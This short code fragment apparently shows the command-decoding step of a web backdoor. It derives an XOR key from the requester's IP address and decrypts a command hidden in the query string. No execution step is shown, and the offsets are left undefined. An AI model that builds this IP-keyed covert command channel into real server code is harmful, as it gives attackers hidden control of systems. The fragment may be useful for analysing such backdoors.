h = headers ip = (h['X-Real-IP'] || h['X-Forwarded-For'] || h['Remote-addr']) ip = socket.inet_aton(ip) xorkey = array.array('c', ( (ord(ip[0]) + w) % 256, (ord(ip[1]) + x) % 256, (ord(ip[2]) + y) % 256, (ord(ip[3]) + z) % 256)) command = xor_decrypt(query_string, xorkey)